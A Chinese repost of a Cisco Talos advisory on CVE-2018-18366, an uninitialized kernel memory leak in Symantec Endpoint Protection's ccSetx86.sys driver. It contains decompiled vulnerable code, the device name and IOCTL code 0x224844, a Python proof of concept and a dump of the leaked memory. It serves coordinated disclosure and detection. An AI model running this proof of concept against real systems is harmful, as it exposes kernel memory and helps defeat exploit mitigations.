Symantec终端防护内核内存信息泄漏漏洞分析(CVE-2018-18366)

栏目: 编程工具 · 发布时间: 5年前

内容简介:Cisco Talos在赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys内核驱动中发现了一个信息泄漏漏洞。该漏洞位于驱动程序的控制消息处理程序中。攻击者可以发送精心制造的请求,使得驱动程序返回未经初始化的内核内存块,从而可能泄漏敏感信息。例如,攻击者可以将该漏洞用于绕过特权令牌或内核内存地址等内核安全缓解方式。非特权用户可以以用户模式运行程序,从而触发这一漏洞。根据我们的协调披露政策,Talos与Symantec进行了合作,从而确保为该漏洞提供

概述

Cisco Talos在赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys内核驱动中发现了一个信息泄漏漏洞。该漏洞位于驱动程序的控制消息处理程序中。攻击者可以发送精心制造的请求,使得驱动程序返回未经初始化的内核内存块,从而可能泄漏敏感信息。例如,攻击者可以将该漏洞用于绕过特权令牌或内核内存地址等内核安全缓解方式。非特权用户可以以用户模式运行程序,从而触发这一漏洞。

根据我们的协调披露政策,Talos与Symantec进行了合作,从而确保为该漏洞提供补丁。

漏洞描述

赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys 0x224844位置存在内核内存信息泄漏漏洞(CVE-2018-18366)。特制的IRP请求可能会导致驱动程序返回未初始化的内存,从而导致内核内存泄漏。攻击者可以发送IRP请求来触发此漏洞。

该内核内存泄漏位于IOCTL处理程序中,这是用于16.0.0.77版本驱动程序的“0x224844”驱动代码。攻击者可以通过向ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}设备发送恶意的IOCTL请求,从而触发该漏洞。设备的默认访问控制,允许系统上的任何用户向驱动程序发送IOCTL请求。

测试版本

Symantec.cloud – Endpoint Protection – NIS-22.14.2.13

Symantec Endpoint Protection Small Business Edition(赛门铁克终端防护小型企业版)ccSetx86.sys(Windows 7 x86)

产品网址

https://www.symantec.com/products/endpoint-smb

CVSSv3分数

4.3 – CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200:信息泄漏

漏洞详情

Symantec Endpoint Protection小型企业版(SEP SBE)是针对小型企业的复杂终端防护解决方案。

本报告适用于使用SEP SBE安装中ccSetx86.sys驱动程序中的漏洞,该漏洞默认情况下处于活动状态。

我们可以通过向ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}设备中发送IOCTL请求来触发这一漏洞。在这里,我们展示了设备上的默认访问控制,允许系统上的任何用户发送IOCTL请求:

\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM

我们需要使用ZwOpenFile API,而不是尝试通过CreateFile向该设备打开公开的符号链接,以获取该设备的有效句柄。

内核内存泄漏位于0x224844控制代码的IOCTL处理程序中。易受攻击的函数是:

Line 1  signed int __stdcall sub_8DE2FB98(PIRP irp, int (__stdcall ***a2)(char *, _DWORD *, int *))
Line 2  {
Line 3    ULONG_PTR outLen;
Line 4    stackLocation = irp->Tail.Overlay.CurrentStackLocation;
Line 5    if ( !irp->AssociatedIrp.SystemBuffer
Line 6      || stackLocation->Parameters.DeviceIoControl.InputBufferLength < 2
Line 7      || stackLocation->Parameters.DeviceIoControl.OutputBufferLength < 4 )
Line 8    {
Line 9      return 0xC0000023;
Line 10   }
Line 11   if ( stackLocation->Parameters.DeviceIoControl.IoControlCode & 3 )
Line 12   {
Line 13     (...)
Line 14   }
Line 15   else
Line 16   {
Line 17     outUserBuffer = irp->AssociatedIrp.SystemBuffer;
Line 18   }
Line 19   if ( outUserBuffer )
Line 20   {
Line 21     someConstructor(&v14);
Line 22     v13 = copyString2(
Line 23             &v14,
Line 24             (int)irp->AssociatedIrp.SystemBuffer,
Line 25             stackLocation->Parameters.DeviceIoControl.InputBufferLength,
Line 26             (PWCHAR)&dstStringLen);
Line 27     if ( v13 >= 0 )
Line 28     {
Line 29       outLen = stackLocation->Parameters.DeviceIoControl.OutputBufferLength;
Line 30       v5 = (**v11)((char *)&v14, outUserBuffer, (int *)&outLen);// 8de2fb84
Line 31       if ( v5 >= 0 )
Line 32       {
Line 33         irp->IoStatus.Information = outLen;
Line 34       }
Line 35      
Line 36     (...)

值得一提的是,该漏洞仅在处理过程中使用METHOD_BUFFERED时才会显现。我们在上述代码的第33行看到,如果位于第30行的函数返回一个正值,那么IoStatus.Information字段(表示将从OutputBuffer中的内核模式返回多少字节)将被设置为outLen – OutputBufferLen。位于第29行开头的该变量的值直接来自用户,因此,如果未精确设置outLen变量,那么用户则可以完全控制返回用户模式的字节数。

我们在sub_8DE34328函数中查看outLen变量的处理方式:

Line 1  int __thiscall sub_8DE34328(struct_this_3 *this, char *obj, int outUserBuffer, unsigned int *outLen)
Line 2  {
Line 3  (...)
Line 4
Line 5      outLen_ = *outLen;
Line 6      v12 = v18 + 2;
Line 7      someUnicodeString = v12;
Line 8      if ( outLen_ >= v12 )
Line 9      {
Line 10       if ( _outUserBuffer )
Line 11         returnCode = unicodeCopy((char *)&v17, _outUserBuffer, outLen_, &someUnicodeString);
Line 12       else
Line 13         returnCode = 0xC000000D;
Line 14     }
Line 15     else
Line 16     {
Line 17       *outLen = v12;
Line 18       returnCode = 0xC0000023;
Line 19     }
Line 20 (...)

我们看到,仅当我们没有在第10行传递约束时,outLen才被设置为等于v12的值,并且函数会返回错误。在其他情况下,outLen的值根本不会发生改变,因此用户可以完全控制该值。

由于OutputBuffer尚未在任何地方被请求,并且在此过程中没有检查实际上已经设置为多少字节,因此,随机内核内存将会泄漏到用户空间之中。

漏洞利用概念证明

def test_device():
    deviceName = r"\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}"
    ioControl  = 0x224844
    outBuffer  = 0x5566
    str1 = r"\??\c:\TALOS_INSIDE.bin".encode("UTF-16-LE")
    inBuffer =  struct.pack("<I", len(str1)+2)
    inBuffer += str1
 
 
    file('irp.bin','wb').write(inBuffer)
    cmdStr = "DeviceOpen.exe {0} 0x{1:X} {2}".format(deviceName,ioControl,outBuffer)
    print cmdStr
    os.system(cmdStr)
 
//DeviceOpen.exe obtains device handle via ZwOpenFile, read irp.bin file content and pass it as a inputBuffer
 
 
Output:
 
c:\projects\symantec>python test.py
DeviceOpen.exe \Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} 0x224844 21862
Handle seems to be legit : 0x28
SUCCESS!
0000 : ..\.?.?.\.C.:.\. DE 00 5C 00 3F 00 3F 00 5C 00 43 00 3A 00 5C 00
0010 : P.r.o.g.r.a.m.D. 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 44 00
0020 : a.t.a.\.S.y.m.a. 61 00 74 00 61 00 5C 00 53 00 79 00 6D 00 61 00
0030 : n.t.e.c...c.l.o. 6E 00 74 00 65 00 63 00 2E 00 63 00 6C 00 6F 00
0040 : u.d.\.{.F.7.A.7. 75 00 64 00 5C 00 7B 00 46 00 37 00 41 00 37 00
0050 : 2.5.B.7.-.8.2.6. 32 00 35 00 42 00 37 00 2D 00 38 00 32 00 36 00
0060 : 7.-.4.9.4.C.-.9. 37 00 2D 00 34 00 39 00 34 00 43 00 2D 00 39 00
0070 : 6.4.7.-.F.4.F.C. 36 00 34 00 37 00 2D 00 46 00 34 00 46 00 43 00
0080 : 1.D.5.3.C.6.A.3. 31 00 44 00 35 00 33 00 43 00 36 00 41 00 33 00
0090 : }.\.C.o.m.m.o.n. 7D 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 6E 00
00A0 :  .C.l.i.e.n.t.\. 20 00 43 00 6C 00 69 00 65 00 6E 00 74 00 5C 00
00B0 : c.c.S.e.t.M.g.r. 63 00 63 00 53 00 65 00 74 00 4D 00 67 00 72 00
00C0 : \.s.y.m.S.e.t.t. 5C 00 73 00 79 00 6D 00 53 00 65 00 74 00 74 00
00D0 : i.n.g.s...d.a.t. 69 00 6E 00 67 00 73 00 2E 00 64 00 61 00 74 00
00E0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(...)
3300 : e...........f... 65 01 00 00 82 01 00 00 03 01 C0 F8 66 01 00 00
3310 : ........g....... 92 01 00 00 03 01 C0 F8 67 01 00 00 9A 01 00 00
3320 : ....h........... 03 01 C0 F8 68 01 00 00 A2 01 00 00 03 01 C0 F8
3330 : i...........j... 69 01 00 00 AA 01 00 00 03 01 C0 F8 6A 01 00 00
3340 : ........k....... B2 01 00 00 03 01 C0 F8 6B 01 00 00 BA 01 00 00
3350 : ....l........... 03 01 C0 F8 6C 01 00 00 C2 01 00 00 03 01 C0 F8
3360 : m...........n... 6D 01 00 00 D2 01 00 00 03 01 C0 F8 6E 01 00 00
3370 : ........o....... DA 01 00 00 03 01 C0 F8 6F 01 00 00 0A 02 00 00
3380 : ....p........... 03 01 C0 F8 70 01 00 00 12 02 00 00 03 01 C0 F8
3390 : q...........r... 71 01 00 00 1A 02 00 00 03 01 C0 F8 72 01 00 00
33A0 : ".......s...*... 22 02 00 00 03 01 C0 F8 73 01 00 00 2A 02 00 00
33B0 : ....t...2....... 03 01 C0 F8 74 01 00 00 32 02 00 00 03 01 C0 F8
33C0 : u...:.......v... 75 01 00 00 3A 02 00 00 03 01 C0 F8 76 01 00 00
33D0 : B.......w...J... 42 02 00 00 03 01 C0 F8 77 01 00 00 4A 02 00 00
33E0 : ....x...R....... 03 01 C0 F8 78 01 00 00 52 02 00 00 03 01 C0 F8
33F0 : y...Z.......z... 79 01 00 00 5A 02 00 00 03 01 C0 F8 7A 01 00 00
3400 : b.......{...j... 62 02 00 00 03 01 C0 F8 7B 01 00 00 6A 02 00 00
3410 : ....|...q....... 03 01 C0 F8 7C 01 00 00 71 02 00 00 03 01 C0 F8
3420 : }...y.......~... 7D 01 00 00 79 02 00 00 03 01 C0 F8 7E 01 00 00
3430 : ........⌂....... A1 02 00 00 03 01 C0 F8 7F 01 00 00 A9 02 00 00
3440 : ................ 03 01 C0 F8 80 01 00 00 B9 02 00 00 03 01 C0 F8
3450 : ................ 81 01 00 00 C1 02 00 00 03 01 C0 F8 82 01 00 00
3460 : ................ C9 02 00 00 03 01 C0 F8 83 01 00 00 CD 02 00 00
3470 : ................ 03 01 C0 F8 84 01 00 00 D0 02 00 00 08 01 80 FF
3480 : ................ 85 01 00 00 D5 02 00 00 03 01 C0 F8 86 01 00 00
3490 : ................ D8 02 00 00 08 01 80 FF 87 01 00 00 E0 02 00 00
34A0 : ................ 08 01 80 FF 88 01 00 00 E8 02 00 00 08 01 80 FF
34B0 : ............\.D. FF FF FF FF F0 02 00 00 08 01 80 FF 5C 00 44 00
34C0 : E.V.I.C.E.\.H.A. 45 00 56 00 49 00 43 00 45 00 5C 00 48 00 41 00
34D0 : R.D.D.I.S.K.V.O. 52 00 44 00 44 00 49 00 53 00 4B 00 56 00 4F 00
34E0 : L.U.M.E.1.\.W.I. 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00 49 00
34F0 : N.D.O.W.S.\.S.Y. 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 59 00
3500 : S.T.E.M.3.2.\.N. 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 4E 00
3510 : T.D.L.L...D.L.L. 54 00 44 00 4C 00 4C 00 2E 00 44 00 4C 00 4C 00
3520 : ..\.D.E.V.I.C.E. 00 00 5C 00 44 00 45 00 56 00 49 00 43 00 45 00
3530 : \.H.A.R.D.D.I.S. 5C 00 48 00 41 00 52 00 44 00 44 00 49 00 53 00
3540 : K.V.O.L.U.M.E.1. 4B 00 56 00 4F 00 4C 00 55 00 4D 00 45 00 31 00
3550 : \.W.I.N.D.O.W.S. 5C 00

时间节点

·2018年10月23日  向厂商披露

· 2018年11月2日  厂商确认漏洞存在

· 2018年12月4日  在30天后跟进漏洞修复进展

· 2019年2月11日  厂商分配了CVE编号

· 2019年4月23日  公开发布

漏洞发现者

Cisco Talos团队的Marcin 'Icewall' Noga

检测规则

以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。

Snort规则:48209、48210。


以上所述就是小编给大家介绍的《Symantec终端防护内核内存信息泄漏漏洞分析(CVE-2018-18366)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

你也能看得懂的Python算法书

你也能看得懂的Python算法书

王硕,董文馨,张舒行,张洁 著 / 电子工业出版社 / 2018-11-1 / 59.00

编程的核心是算法,学习算法不仅能教会你解决问题的方法,而且还能为你今后的发展提供一种可能。 《你也能看得懂的Python算法书》面向算法初学者,首先介绍当下流程的编程语言Python,详细讲解Python语言中的变量和循序、分支、循环三大结构,以及列表和函数的使用,为之后学习算法打好基础。然后以通俗易懂的语言讲解双指针、哈希、深度优先、广度优先、回溯、贪心、动态规划和至短路径等经典算法。 ......一起来看看 《你也能看得懂的Python算法书》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码